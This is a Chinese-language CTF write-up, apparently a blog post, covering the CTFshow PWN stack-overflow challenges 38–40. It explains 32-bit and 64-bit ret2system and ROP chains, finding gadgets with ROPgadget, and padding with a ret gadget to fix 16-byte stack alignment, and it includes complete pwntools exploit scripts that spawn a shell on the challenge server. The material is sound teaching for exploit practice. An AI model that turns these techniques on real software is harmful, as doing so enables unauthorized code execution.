CTFshow-PWN入门-栈溢出38-40详解 持续更新

本来是不想写的,但是想想还是写一下吧,基础知识这些就先不写了,以后有时间再补上吧,比较懒
前面的有时间再写吧 主要是做过了。。懒

pwn38

这个题也不难我直说其中那个点儿,为什么有的人正常调用system可以的人不行要跳过push rbp,否则就是拿不到shell
image.png
这个也是问了下大哥,因为在18.04级以上会有一个堆栈平衡校验
image.png
其实我们已经进了system但是有个movaps一直过不去
image.png
16.04亲测是不需要正常调用就行。所以如果碰到的话记得跳过push那行,下面的pwn40也会有个类似的问题

pwn39

题目介绍是
image.png
没有开启栈保护
image.png
但是其实调试之后发现
image.png
并不是system(“/bin/sh”),也就是说函数和参数被分割了,我们需要去构造,也就是 gadgets,这里引用一下ctfwiki的解释

我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

其实我自己对这个的理解就是搭积木呗,我们去抽出几个我们需要的积木来去达到我们的目的就可以了。
我们先来找几个关键的参数,然后我写一下poc,之后可能有些同学会不理解为什么payload要这么写,先别急,后面有张图,一下子就会振聋发聩。
我们来想一下我们的payload需要哪些关键参数:偏移、危险函数,参数
危险函数就是system
参数就是"/bin/sh"
偏移就没什么多说的
image.png
得到偏移0x12+0x4--->>0x16
image.png
得到了system的地址0x080483A0
image.png
得到了参数"/bin/sh"的地址0x08048750
现在来写一下poc

# -*- coding: utf-8 -*-
from pwn import *

p = remote("pwn.challenge.ctf.show", "28273") 

system_addr=0x080483A0
binsh_addr=0x08048750
payload = 'a' * 0x16 + p32(system_addr)+ 'bbbb' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

为什么payload要写成

偏移+危险函数地址+0x4*'b'+参数地址

看一下下面我画的这个图就懂了,但是这个用于32的哈,可不敢64的也这样
image.png
成功拿到flag
image.png

pwn40

和39一样但是只不过从32位变成了64位,这个时候就需要学一个知识点就是,32位传参和64位传参
image.png
所以我们这次需要用到一个参数值"/bin/sh",那么意味着我们需要用到一个寄存器rdi
我们先捋一下需要什么

偏移
危险函数地址
参数地址
rdi地址

这个时候我用需要用到一个工具ROPgadget

比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具

我们来找一下pop rdi

ROPgadget --binary ./test --only "pop|ret" | grep "rdi"

语法也不用特别记,-h就有例子主打的就是一个无脑
image.png
我们找到了rdi的地址0x00000000004007e3
偏移则是0xA+0x8,因为是64位所以不是+0x4
image.png
我们也可以用ROPgadget来寻找"/bin/sh"

ROPgadget --binary ./test --string "/bin/sh"

image.png
随便用一个0x0000000000400808
最后就是危险函数地址
image.png
0x0000000000400520
如果你用的是18.04及以上则还需要一个ret的地址
image.png
0x00000000004004fe,为什么还需要这个 我们后面会说
我们现在来写一下POC

#ubuntu18.04级以上
from pwn import *

p = remote("pwn.challenge.ctf.show", "28117")
#p = process("./test")
rdi_ret_addr = 0x00000000004007e3
bin_sh_addr = 0x400808
system_addr = 0x400520
ret_addr = 0x00000000004004fe

payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr)  + p64(ret_addr) +  p64(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
#ubuntu16.04
from pwn import *

p = remote("pwn.challenge.ctf.show", "28117")
#p = process("./test")
rdi_ret_addr = 0x00000000004007e3
bin_sh_addr = 0x400808
system_addr = 0x400520

payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr)   +  p64(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()

image.png
我们现在来说一下为什么18.04级以上要在加一个ret的地址,可以看我们一步步去调试然后能看到pop rdi的时候,进的就是栈顶的值"/bin/sh"
image.png
image.png
也显示跳转到了system对吧,但是碰到了movaps
image.png
需要16字节对齐,所以我们需要再去加一个ret的地址来对齐。
image.png

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值